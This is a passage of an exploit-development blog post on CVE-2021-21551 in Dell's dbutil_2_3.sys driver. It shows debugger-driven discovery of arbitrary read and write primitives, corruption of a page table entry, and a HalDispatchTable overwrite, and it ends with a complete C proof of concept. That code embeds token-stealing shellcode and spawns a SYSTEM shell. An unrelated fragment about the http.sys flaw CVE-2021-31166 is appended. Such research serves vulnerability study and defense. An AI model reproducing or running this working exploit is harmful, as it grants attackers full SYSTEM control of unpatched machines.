If we look in the RCX register currently, we can see our buffer, when dereferencing the value in RCX.
We then can see that, after stepping through the sup rsp, 0x40 stack allocation and the mov rbx, rcx instruction, the value 0x8 is going to be placed into ECX and used for the cmp ecx, 0x18 instruction.
What is this number? This is actually the size of our buffer, which is currently one QWORD. Obviously this compare statement will fail, and essentially an NTSTATUS code is returned back to the client of 0xC0000000D, which means STATUS_INVALID_PARAMETER. This is the driver’s way to let the client know one of the needed arguments wasn’t correct in the IOCTL call. This means that if we want to reach the memmove routine, we will at least need to send 0x18 bytes worth of data.
Refactoring our code, let’s try to send a contiguous buffer of 0x18 bytes of data.
After hitting the sub_5294 function, we see that this time the cmp ecx, 0x18 check will be bypassed.
After stepping through a few instructions, after the test rax, rax bitwise test and the jump instruction, we land on a load effective address instruction, and we can see our call to memmove, although there is no symbol in WinDbg.
Since we are about to hit the call to memmove, we know that the __fastcall calling convention is in use, as we see no movements to the stack and we are on a 64-bit system. Because of this, we know that, based on the prototype, the first argument will be placed into RCX, which will be the destination buffer (e.g. where the memory will be written to). We also know that RDX will contain the source buffer (e.g. where the memory comes from).
Stepping into the mov ecx, dword ptr[rsp+0x30], which will move the lower 32-bits of RSP, ESP, into ECX, we can see that a value of 0x00000000 is about to be moved into ECX.
We then see that the value on the stack, at an offset of 0x28, is added to the value in RCX, which is currently zero.
We then can see that invalid memory will be dereferenced in the call to memmove.
Why is this? Recall the prototype of memmove. This function accepts a pointer to memory. Since we passed raw values of junk, these addresses are invalid. Because of this, let’s switch up our POC a bit again in order to see if we can’t get a desired result. Let’s use KUSER_SHARD_DATA at an offset of 0x800, which is 0xFFFFF78000000800, as a proof of concept.
This time, per Kasif’s research, we will send a 0x20 byte buffer. Kasif points out that the memmove routine, before reaching the call, will select at an offset of 0x8 (the destination) and 0x18 (the source).
After re-executing the POC, let’s jump back right before the call to memmove.
We can see that this time, 0x42 bytes, 4 bytes of them to be exact, will be loaded into ECX.
Then, we can clearly see that the value at the stack, plus 0x28 bytes, will be added to ECX. The final result is 0xFFFFF78042424242.
We then can see that before the call, another part of our buffer is moved into RDX as the source buffer. This allows us an arbitrary write primitive! A buffer we control will overwrite the pointer at the memory address we supply.
The issue is, however, with the source address. We were attempting to target 0xFFFFF78000000800. However, our address got mangled into 0xFFFFF78042424242. This is because it seems like the lower 32-bits of one of our user-supplied QWORDS first gets added to the destination buffer. This time, if we resend the exploit and we change where 0x4242424242424242 once was with 0x0000000000000000, we can “bypass” this issue, but having a value of 0 added, meaning our target address will remain unmangled.
After sending the POC again, we can see that the correct target address is loaded into RCX.
Then, as expected, our arguments are supplied properly to the call to memmove.
After stepping over the function call, we can see that our arbitrary write primitive has successfully worked!
Again, thank you to Kasif for his research on this! Now, let’s talk about the arbitrary read primitive, which is very similar!
Arbitrary Read Primitive
As we know, whenever we supply arguments to the vulnerable memmove routine used for an arbitrary write primitive, we can supply the “what” (our data) and the “where” (where do we write the data). However, recall the image two images above, showcasing our successful arguments, that since memmove accepts two pointers, the argument in RDX, which is a pointer to 0x4343434343434343, is a kernel mode address. This means, at some point between the memmove call and our invocation of DeviceIoControl, our array of QWORDS was transferred to kernel mode, so it could be used by the driver in the call to memmove. Notice, however, that the target address, the value in RCX, is completely controllable by us - meaning the driver doesn’t create a pointer to that QWORD, we can directly supply it. And, since memmove will interpret that as a pointer, we can actually overwrite whatever we pass to the target buffer, which in this case is any address we want to corrupt.
What if, however, there was a way to do this in reverse? What if, in place of the kernel mode address that points to 0x4343434343434343 we could just supply our own memory address, instead of the driver creating a pointer to it, identically to how we control the target address we want to move memory to.
This means, instead of having something like this for the target address:
ffffc605`24e82998 43434343`43434343
What if we could just pass our own data as such:
43434343`43434343 DATA
Where 0x4343434343434343 is a value we supply, instead of having the kernel create a pointer to it for us. That way, when memmove interprets this address, it will interpret it as a pointer. This means that if we supply a memory address, whatever that memory address points to (e.g. nt!MiGetPteAddress+0x13 when dereferenced) is copied to the target buffer!
This could go one of two ways potentially: option one would be that we could copy this data into our own pointer in C. However, since we see that none of our user-mode addresses are making it to the driver, and the driver is taking our buffer and placing it in kernel mode before leveraging it, the better option, perhaps, would be to supply an output buffer to DeviceIoControl and see if the memmmove data writes it to the output buffer.
The latter option makes sense as this IOCTL allows any client to supply a buffer and have it copied. This driver most likely isn’t expecting unauthorized clients to this IOCTL, meaning the input and output buffers are most likely being used by other kernel mode components/legitimate user-mode clients that need an easy way to pass and receive data. Because of this, it is more than likely it is expected behavior for the output buffer to contain memmove data. The problem is we need to find another memmove routine that allows us to essentially to the inverse of what we did with the arbitrary write primitive.
Talking to a peer of mine, VoidSec about my thought process, he pointed me towards Metasploit, which already has this concept outlined in their POC.
Doing a bit more of reverse engineering, we can see that there is more than one way to reach the arbitrary write memmove routine.
Looking into the sub_15294, we can see that this is the same memmove routine leveraged before.
However, since there is another IOCTL routine that invokes this memmove routine, this is a prime candidate to see if anything about this routine is different (e.g. why create another routine to do the same thing twice? Perhaps this routine is used for something else, like reading memory or copying memory in a different way). Additionally, recall when we performed an arbitrary write, the routines were indexing our buffer at 0x8 and 0x18. This could mean that the call to memmove, via the new IOCTL, could setup our buffer in a way that the buffer is indexed at a different offset, meaning we may be able to achieve an arbitrary read.
It is possible to reach this routine through the IOCTL 0x9B0C1EC4.
Let’s update our POC to attempt to trigger the new IOCTL and see if anything is returned in the output buffer. Essentially, we will set the second value, similar to last time, of our QWORD array to the value we want to interact with, in this case, read, and set everything else to 0. Then, we will reuse the same array of QWORDS as an output buffer and see if anything was written to the buffer.
We can use IDA to identify the proper offset within the driver that the cmp eax, 0x9B0C1EC4 lands on, which is sub_11170+75.
We know that the first IOCTL code we will hit is the arbitrary write IOCTL, so we can pass over the first compare and then hit the second.
We then can see execution reaches the function housing the memmove routine, sub_15294.
After stepping through a few instruction, we can see our input buffer for the read primitive is being propagated and setup for the future call to memmove.
Then, the first part of the buffer is moved into RAX.
Then, the target address we would like to dereference and read from is loaded into RAX.
Then, the target address of KUSER_SHARED_DATA is loaded into RCX and then, as we can see, it will be loaded into RDX. This is great for us, as it means the 2nd argument for a function call on 64-bit systems on Windows is loaded into RDX. Since memmove accepts a pointer to a memory address, this means that this address will be the address that is dereferenced and then has its memory copied into a target buffer (which hopefully is returned in the output buffer parameter of DeviceIoControl).
Recall in our arbitrary write routine that the second parameter, 4343434343434343 was pointed to by a kernel mode address. Look at the above image and see now that we control the address (0xFFFFF78000000000), but this time this address will be dereferenced and whatever this address points to will be written to the buffer pointed to by RCX. Since in our last routine we controlled both arguments to memmove, we can expect that, although the value in RCX is in kernel mode, it will be bubbled back up into user mode and will be placed in our output buffer! We can see just before the return from memmove, the return value is the buffer in which the data was copied into, and we can see the buffer contains 0x0fa0000000000000! Looking in the debugger, this is the value KUSER_SHARED_DATA points to.
We really don’t need to do any more debugging/reverse engineering as we know that we completely control these arguments, based on our write primitive. Pressing g in the debugger, we can see that in our POC console, we have successfully performed an arbitrary read!
We indexed each array element of the QWORD array we sent, per our code, and we can see the last element will contain the dereferenced contents of the value we would like to read from! Now that we have a vanilla 1 QWORD arbitrary read/write primitive, we can now get into out exploitation path.
Why Perform a Data-Only Attack When You Can Corrupt All Of The Memory and Deal With All of the Mitigations? Let’s Have Some Fun And Make Life Artificially Harder On Ourselves!
First, please note I have more in-depth posts on leveraging page table entries and memory paging for kernel exploitation found here and here.
Our goal with this exploitation path will be the following:
Write our shellcode somewhere that is writable in the driver’s virtual address space
Locate the base of the page table entries
Calculate where the page table entry for the memory page where our shellcode lives
Corrupt the page table entry to make the shellcode page RWX, circumventing SMEP and bypassing kernel no-eXecute (DEP)
Overwrite nt!HalDispatchTable+0x8 and circumvent kCFG (kernel Control-Flow Guard) (Note that if kCFG was fully enabled, then VBS/HVCI would then be enabled - rendering this technique useless. kCFG does still have some functionality, even when VBS/HVCI is disabled, like performing bitwise tests to ensure user mode addresses aren’t called from kernel mode. This simply just “circumvents” kCFG by calling a pointer to our shellcode, which exists in kernel mode from the first step).
First we need to find a place in kernel mode that we can write our shellcode to. KUSER_SHARED_DATA is a perfectly fine solution, but there is also a good candidate within the driver itself, located in its .data section, which is already writable.
We can see that from the above image, we have a ton of room to work with, in terms of kernel mode writable memory. Our shellcode is approximately 9 QWORDS, so we will have more than enough room to place our shellcode here.
We will start our shellcode out at .data+0x10. Since we know where the shellcode will go, and since we know it resides in the dbutil_2_3.sys driver, we need to add a routine to our exploit that can retrieve the load address of the kernel, for PTE indexing calculations, and the base address of the driver.
Note that this assumes the process invoking this exploit is that of medium integrity.
The next step, since we know where we want to write to is at an offset of 0x3000 (offset to .data.) + 0x10 (offset to code cave) from the base address of dbutil_2_3.sys, is to locate the page table entry for this memory address, which already is a kernel-mode page and is writable (you could use KUSER_SHARED_DATA+0x800). In order to perform the calculations to locate the page table entry, we first need to bypass page table randomization, a mitigation of Windows 10 after 1607.
This is because we need the base of the page table entries in order to locate the PTE for a specific page in memory (the page table entries are an array of virtual addresses in this case). The Windows API function nt!MiGetPteAddress, at an offset of 0x13, contains, dynamically, the base of the page table entries as this kernel mode function is leveraged to find the base of the page table entries.
Let’s use our read primitive to locate the base of the page table entries (note that I used a static offset from the base of the kernel to nt!MiGetPteAddress, mostly because I am focused on the exploitation phase of this CVE, and not making this exploit portable. You’ll need to update this based on your patch level).
Here we can see we obtain the initial handle to the driver, create a buffer based on our read primitive, send it to the driver, and obtain the base of the page table entries. Then, we programmatically can replicate what nt!MiGetPteAddress does in order to fetch the correct page table entry in the array for the page we will be writing our shellcode to.
Now that we have calculated the page table entry for where our shellcode will be written to, let’s now dereference it in order to preserve what the PTE bits contain, in terms of permissions, so we can modify this value later
Checking in WinDbg, we can also see this is the case!
Now that we have the virtual address for our page table entry and we have extracted the current bits that comprise the entry, let’s write our shellcode to .data+0x10 (dbutil_2_3+0x3010).
After execution of the updated POC, we can clearly see that the arbitrary write routines worked, and our shellcode is located in kernel mode!
Perfect! Now that we have our shellcode in kernel mode, we need to make it executable. After all, the .data section of a PE or driver is read/write. We need to make this an executable region of memory. Since we have the PTE bits already stored, we can update our page table entry bits, stored in our exploit, to contain the bits with the no-eXecute bit cleared, and leverage our arbitrary write primitive to corrupt the page table entry and make it read/write/execute (RWX)!
Perfect! Now that we have made our memory region executable, we need to overwrite the pointer to nt!HalDispatchTable+0x8 with this memory address. Then, when we invoke ntdll!NtQueryIntervalProfile from user mode, which will trigger a call to this QWORD! However, before overwriting nt!HalDispatchTable+0x8, let’s first use our read primitive to preserve the current pointer, so we can put it back after executing our shellcode to ensure system stability, as the Hardware Abstraction Layer is very important on Windows and the dispatch table is referenced regularly.
After preserving the pointer located at nt!HalDispatchTable+0x8 we can use our write primitive to overwrite nt!HalDispatchTable+0x8 with a pointer to our shellcode, which resides in kernel mode memory!
Perfect! At this point, if we invoke nt!HalDispatchTable+0x8’s pointer, we will be calling our shellcode! The last step here, besides restoring everything, is to resolve ntdll!NtQueryIntervalProfile, which eventually performs a call to [nt!HalDispatchTable+0x8].
Then, we can finish up our exploit by adding in the restoration routine to restore nt!HalDispatchTable+0x8.
Let’s set a breakpoint on nt!NtQueryIntervalProfile, which will be called, even though the call originates from ntdll.dll.
After hitting the breakpoint, let’s continue to step through the function until we hit the call nt!KeQueryIntervalProfile function call, and let’s use t to step into it.
Stepping through approximately 9 instructions inside of ntKeQueryIntervalProfile, we can see that we are not directly calling [nt!HalDispatchTable+0x8], but we are calling nt!guard_dispatch_icall. This is part of kCFG, or kernel Control-Flow Guard, which validates indirect function calls (e.g. calling a function pointer).
Clearly, as we can see, the value of [nt!HalDispatchTable+0x8] is pointing to our shellcode, meaning that kCFG should block this. However, kCFG actually requires Virtualization-Based Security (VBS) to be fully implemented. We can see though that kCFG has some functionality in kernel mode, even if it isn’t implemented full scale. The routines still exist in the kernel, which would normally check a bitmap of all indirect function calls and determine if the value that is about to be placed into RAX in the above image is a “valid target”, meaning at compile time, when the bitmap was created, did the address exist and is it apart of any valid control-flow transfer.
However, since VBS is not mainstream yet, requires specific hardware, and because this exploit is being developed in a virtual machine, we can disregard the VBS side for now (note that this is why mitigations like VBS/HVCI/HyperGuard/etc. are important, as they do a great job of thwarting these types of memory corruption vulnerabilities).
Stepping through the call to nt!guard_dispatch_icall, we can actually see that all this routine does essentially, since VBS isn’t enabled, is bitwise test the target address in RAX to confirm it isn’t a user-mode address (basically it checks to see if it is sign-extended). If it is a user-mode address, you’ll actually get a bug check and BSOD. This is why I opted to keep our shellcode in kernel mode, so we can pass this bitwise test!
Then, after stepping through everything, we can see now that control-flow transfer has been handed off to our shellcode.
From here, we can see we have successfully obtained NT AUTHORITY\SYSTEM privileges!
“When Napoleon lay at Boulogne for a year with his flat-bottom boats and his Grand Army, he was told by someone ‘There are bitter weeds in VBS/HVCI/kCFG’”
Although this exploit was arduous to create, we can clearly see why data-only attacks, such as the _SEP_TOKEN_PRIVILEGES method outlined by Kasif are optimal. They bypass pretty much any memory corruption related mitigation.
Note that VBS/HVCI actually creates an additional security boundary for us. Page table entries, when VBS is enabled, are actually managed by a higher security boundary, virtual trust level 1 - which is the secure kernel. This means it is not possible to perform PTE manipulation as we did. Additionally, even if this were possible, HVCI is essentially Arbitrary Code Guard (ACG) in the kernel - meaning that it also isn’t possible to manipulate the permissions of memory as we did. These two mitigations would also allow kCFG to be fully implemented, meaning our control-flow transfer would have also failed.
The advisory and patch for this vulnerability can be found here! Please patch your systems or simply remove the driver.
Thank you again to Kasif for this original research! This was certainly a fun exercise :-). Until next time - peace, love, and positivity :-).
Here is the final POC, which can be found on my GitHub:
// CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption// Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/// Author: Connor McGarr (@33y0re)#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
// Vulnerable IOCTL#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4
// Prepping call to nt!NtQueryIntervalProfiletypedefNTSTATUS(WINAPI*NtQueryIntervalProfile_t)(INULONGProfileSource,OUTPULONGInterval);// Obtain the kernel base and driver baseunsignedlonglongkernelBase(charname[]){// Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parametersLPVOIDlpImageBase[1024];DWORDlpcbNeeded;intdrivers;charlpFileName[1024];unsignedlonglongimageBase;BOOLbaseofDrivers=EnumDeviceDrivers(lpImageBase,sizeof(lpImageBase),&lpcbNeeded);// Error handlingif(!baseofDrivers){printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n",GetLastError());exit(1);}// Defining number of drivers for GetDeviceDriverBaseNameA()drivers=lpcbNeeded/sizeof(lpImageBase[0]);// Parsing loaded driversfor(inti=0;i<drivers;i++){GetDeviceDriverBaseNameA(lpImageBase[i],lpFileName,sizeof(lpFileName)/sizeof(char));// Keep looping, until found, to find user supplied driver base addressif(!strcmp(name,lpFileName)){imageBase=(unsignedlonglong)lpImageBase[i];// Exit loopbreak;}}returnimageBase;}voidexploitWork(void){// Store the base of the kernelunsignedlonglongbaseofKernel=kernelBase("ntoskrnl.exe");// Storing the base of the driverunsignedlonglongdriverBase=kernelBase("dbutil_2_3.sys");// Print updatesprintf("[+] Base address of ntoskrnl.exe: 0x%llx\n",baseofKernel);printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n",driverBase);// Store nt!MiGetPteAddress+0x13unsignedlonglongntmigetpteAddress=baseofKernel+0xbafbb;// Obtain a handle to the driverHANDLEdriverHandle=CreateFileA("\\\\.\\DBUtil_2_3",FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE,0x0,NULL,OPEN_EXISTING,0x0,NULL);// Error handlingif(driverHandle==INVALID_HANDLE_VALUE){printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n",GetLastError());exit(-1);}else{printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n",(unsignedlonglong)driverHandle);// Buffer to send to the driver (read primitive)unsignedlonglonginBuf1[4];// Values to sendunsignedlonglongone1=0x4141414141414141;unsignedlonglongtwo1=ntmigetpteAddress;unsignedlonglongthree1=0x0000000000000000;unsignedlonglongfour1=0x0000000000000000;// Assign the valuesinBuf1[0]=one1;inBuf1[1]=two1;inBuf1[2]=three1;inBuf1[3]=four1;// Interact with the driverDWORDbytesReturned1=0;BOOLinteract=DeviceIoControl(driverHandle,IOCTL_READ_CODE,&inBuf1,sizeof(inBuf1),&inBuf1,sizeof(inBuf1),&bytesReturned1,NULL);// Error handlingif(!interact){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());exit(-1);}else{// Last member of read array should contain base of the PTEsunsignedlonglongpteBase=inBuf1[3];printf("[+] Base of the PTEs: 0x%llx\n",pteBase);// .data section of dbutil_2_3.sys contains a code caveunsignedlonglongshellcodeLocation=driverBase+0x3010;// Bitwise operations to locate PTE of shellcode pageunsignedlonglongshellcodePte=(unsignedlonglong)shellcodeLocation>>9;shellcodePte=shellcodePte&0x7FFFFFFFF8;shellcodePte=shellcodePte+pteBase;// Print updateprintf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n",shellcodePte);// Buffer to send to the driver (read primitive)unsignedlonglonginBuf2[4];// Values to sendunsignedlonglongone2=0x4141414141414141;unsignedlonglongtwo2=shellcodePte;unsignedlonglongthree2=0x0000000000000000;unsignedlonglongfour2=0x0000000000000000;inBuf2[0]=one2;inBuf2[1]=two2;inBuf2[2]=three2;inBuf2[3]=four2;// Parameter for DeviceIoControlDWORDbytesReturned2=0;BOOLinteract1=DeviceIoControl(driverHandle,IOCTL_READ_CODE,&inBuf2,sizeof(inBuf2),&inBuf2,sizeof(inBuf2),&bytesReturned2,NULL);// Error handlingif(!interact1){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());exit(-1);}else{// Last member of read array should contain PTE bitsunsignedlonglongpteBits=inBuf2[3];printf("[+] PTE bits for the shellcode page: %p\n",pteBits);/*
; Windows 10 1903 x64 Token Stealing Payload
; Author Connor McGarr
[BITS 64]
_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx
__loop:
mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks
sub rbx, 0x2f0 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found
mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x360
and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
mov [rax + 0x360], rcx ; Copy SYSTEM token to current process
xor rax, rax ; set NTSTATUS STATUS_SUCCESS
ret ; Done!
*/// One QWORD arbitrary write// Shellcode is 67 bytes (67/8 = 9 unsigned long longs)unsignedlonglongshellcode1=0x00018825048B4865;unsignedlonglongshellcode2=0x000000B8808B4800;unsignedlonglongshellcode3=0x02F09B8B48C38948;unsignedlonglongshellcode4=0x0002F0EB81480000;unsignedlonglongshellcode5=0x000002E88B8B4800;unsignedlonglongshellcode6=0x8B48E57504F98348;unsignedlonglongshellcode7=0xF0E180000003608B;unsignedlonglongshellcode8=0x4800000360888948;unsignedlonglongshellcode9=0x0000000000C3C031;// Buffers to send to the driver (write primitive)unsignedlonglonginBuf3[4];unsignedlonglonginBuf4[4];unsignedlonglonginBuf5[4];unsignedlonglonginBuf6[4];unsignedlonglonginBuf7[4];unsignedlonglonginBuf8[4];unsignedlonglonginBuf9[4];unsignedlonglonginBuf10[4];unsignedlonglonginBuf11[4];// Values to sendunsignedlonglongone3=0x4141414141414141;unsignedlonglongtwo3=shellcodeLocation;unsignedlonglongthree3=0x0000000000000000;unsignedlonglongfour3=shellcode1;unsignedlonglongone4=0x4141414141414141;unsignedlonglongtwo4=shellcodeLocation+0x8;unsignedlonglongthree4=0x0000000000000000;unsignedlonglongfour4=shellcode2;unsignedlonglongone5=0x4141414141414141;unsignedlonglongtwo5=shellcodeLocation+0x10;unsignedlonglongthree5=0x0000000000000000;unsignedlonglongfour5=shellcode3;unsignedlonglongone6=0x4141414141414141;unsignedlonglongtwo6=shellcodeLocation+0x18;unsignedlonglongthree6=0x0000000000000000;unsignedlonglongfour6=shellcode4;unsignedlonglongone7=0x4141414141414141;unsignedlonglongtwo7=shellcodeLocation+0x20;unsignedlonglongthree7=0x0000000000000000;unsignedlonglongfour7=shellcode5;unsignedlonglongone8=0x4141414141414141;unsignedlonglongtwo8=shellcodeLocation+0x28;unsignedlonglongthree8=0x0000000000000000;unsignedlonglongfour8=shellcode6;unsignedlonglongone9=0x4141414141414141;unsignedlonglongtwo9=shellcodeLocation+0x30;unsignedlonglongthree9=0x0000000000000000;unsignedlonglongfour9=shellcode7;unsignedlonglongone10=0x4141414141414141;unsignedlonglongtwo10=shellcodeLocation+0x38;unsignedlonglongthree10=0x0000000000000000;unsignedlonglongfour10=shellcode8;unsignedlonglongone11=0x4141414141414141;unsignedlonglongtwo11=shellcodeLocation+0x40;unsignedlonglongthree11=0x0000000000000000;unsignedlonglongfour11=shellcode9;inBuf3[0]=one3;inBuf3[1]=two3;inBuf3[2]=three3;inBuf3[3]=four3;inBuf4[0]=one4;inBuf4[1]=two4;inBuf4[2]=three4;inBuf4[3]=four4;inBuf5[0]=one5;inBuf5[1]=two5;inBuf5[2]=three5;inBuf5[3]=four5;inBuf6[0]=one6;inBuf6[1]=two6;inBuf6[2]=three6;inBuf6[3]=four6;inBuf7[0]=one7;inBuf7[1]=two7;inBuf7[2]=three7;inBuf7[3]=four7;inBuf8[0]=one8;inBuf8[1]=two8;inBuf8[2]=three8;inBuf8[3]=four8;inBuf9[0]=one9;inBuf9[1]=two9;inBuf9[2]=three9;inBuf9[3]=four9;inBuf10[0]=one10;inBuf10[1]=two10;inBuf10[2]=three10;inBuf10[3]=four10;inBuf11[0]=one11;inBuf11[1]=two11;inBuf11[2]=three11;inBuf11[3]=four11;DWORDbytesReturned3=0;DWORDbytesReturned4=0;DWORDbytesReturned5=0;DWORDbytesReturned6=0;DWORDbytesReturned7=0;DWORDbytesReturned8=0;DWORDbytesReturned9=0;DWORDbytesReturned10=0;DWORDbytesReturned11=0;BOOLinteract2=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf3,sizeof(inBuf3),&inBuf3,sizeof(inBuf3),&bytesReturned3,NULL);BOOLinteract3=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf4,sizeof(inBuf4),&inBuf4,sizeof(inBuf4),&bytesReturned4,NULL);BOOLinteract4=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf5,sizeof(inBuf5),&inBuf5,sizeof(inBuf5),&bytesReturned5,NULL);BOOLinteract5=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf6,sizeof(inBuf6),&inBuf6,sizeof(inBuf6),&bytesReturned6,NULL);BOOLinteract6=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf7,sizeof(inBuf7),&inBuf7,sizeof(inBuf7),&bytesReturned7,NULL);BOOLinteract7=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf8,sizeof(inBuf8),&inBuf8,sizeof(inBuf8),&bytesReturned8,NULL);BOOLinteract8=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf9,sizeof(inBuf9),&inBuf9,sizeof(inBuf9),&bytesReturned9,NULL);BOOLinteract9=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf10,sizeof(inBuf10),&inBuf10,sizeof(inBuf10),&bytesReturned10,NULL);BOOLinteract10=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf11,sizeof(inBuf11),&inBuf11,sizeof(inBuf11),&bytesReturned11,NULL);// A lot of error handlingif(!interact2||!interact3||!interact4||!interact5||!interact6||!interact7||!interact8||!interact9||!interact10){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());exit(-1);}else{printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n",shellcodeLocation);// Clear the no-eXecute bitunsignedlonglongtaintedPte=pteBits&0x0FFFFFFFFFFFFFFF;printf("[+] Corrupted PTE bits for the shellcode page: %p\n",taintedPte);// Clear the no-eXecute bit in the actual PTE// Buffer to send to the driver (write primitive)unsignedlonglonginBuf13[4];// Values to sendunsignedlonglongone13=0x4141414141414141;unsignedlonglongtwo13=shellcodePte;unsignedlonglongthree13=0x0000000000000000;unsignedlonglongfour13=taintedPte;// Assign the valuesinBuf13[0]=one13;inBuf13[1]=two13;inBuf13[2]=three13;inBuf13[3]=four13;// Interact with the driverDWORDbytesReturned13=0;BOOLinteract12=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf13,sizeof(inBuf13),&inBuf13,sizeof(inBuf13),&bytesReturned13,NULL);// Error handlingif(!interact12){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());}else{printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n");// Offset to nt!HalDispatchTable+0x8unsignedlonglonghalDispatch=baseofKernel+0x427258;// Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8// Buffer to send to the driver (write primitive)unsignedlonglonginBuf14[4];// Values to sendunsignedlonglongone14=0x4141414141414141;unsignedlonglongtwo14=halDispatch;unsignedlonglongthree14=0x0000000000000000;unsignedlonglongfour14=0x0000000000000000;// Assign the valuesinBuf14[0]=one14;inBuf14[1]=two14;inBuf14[2]=three14;inBuf14[3]=four14;// Interact with the driverDWORDbytesReturned14=0;BOOLinteract13=DeviceIoControl(driverHandle,IOCTL_READ_CODE,&inBuf14,sizeof(inBuf14),&inBuf14,sizeof(inBuf14),&bytesReturned14,NULL);// Error handlingif(!interact13){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());}else{// Last member of read array should contain preserved nt!HalDispatchTable+0x8 valueunsignedlonglongpreservedHal=inBuf14[3];printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n",preservedHal);// Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8// Buffer to send to the driver (write primitive)unsignedlonglonginBuf15[4];// Values to sendunsignedlonglongone15=0x4141414141414141;unsignedlonglongtwo15=halDispatch;unsignedlonglongthree15=0x0000000000000000;unsignedlonglongfour15=shellcodeLocation;// Assign the valuesinBuf15[0]=one15;inBuf15[1]=two15;inBuf15[2]=three15;inBuf15[3]=four15;// Interact with the driverDWORDbytesReturned15=0;BOOLinteract14=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf15,sizeof(inBuf15),&inBuf15,sizeof(inBuf15),&bytesReturned15,NULL);// Error handlingif(!interact14){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());}else{printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n");// Locating nt!NtQueryIntervalProfileNtQueryIntervalProfile_tNtQueryIntervalProfile=(NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"NtQueryIntervalProfile");// Error handlingif(!NtQueryIntervalProfile){printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n",GetLastError());exit(1);}else{// Print update for found ntdll!NtQueryIntervalProfileprintf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n",NtQueryIntervalProfile);// Calling nt!NtQueryIntervalProfileULONGexploit=0;NtQueryIntervalProfile(0x1234,&exploit);// Restoring nt!HalDispatchTable+0x8// Buffer to send to the driver (write primitive)unsignedlonglonginBuf16[4];// Values to sendunsignedlonglongone16=0x4141414141414141;unsignedlonglongtwo16=halDispatch;unsignedlonglongthree16=0x0000000000000000;unsignedlonglongfour16=preservedHal;// Assign the valuesinBuf16[0]=one16;inBuf16[1]=two16;inBuf16[2]=three16;inBuf16[3]=four16;// Interact with the driverDWORDbytesReturned16=0;BOOLinteract15=DeviceIoControl(driverHandle,IOCTL_WRITE_CODE,&inBuf16,sizeof(inBuf16),&inBuf16,sizeof(inBuf16),&bytesReturned16,NULL);// Error handlingif(!interact15){printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n",GetLastError());}else{printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n");printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");// Spawning an NT AUTHORITY\SYSTEM shellsystem("cmd.exe /c cmd.exe /K cd C:\\");}}}}}}}}}}// Call exploitWork()voidmain(void){exploitWork();}
Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.
With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.
The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.
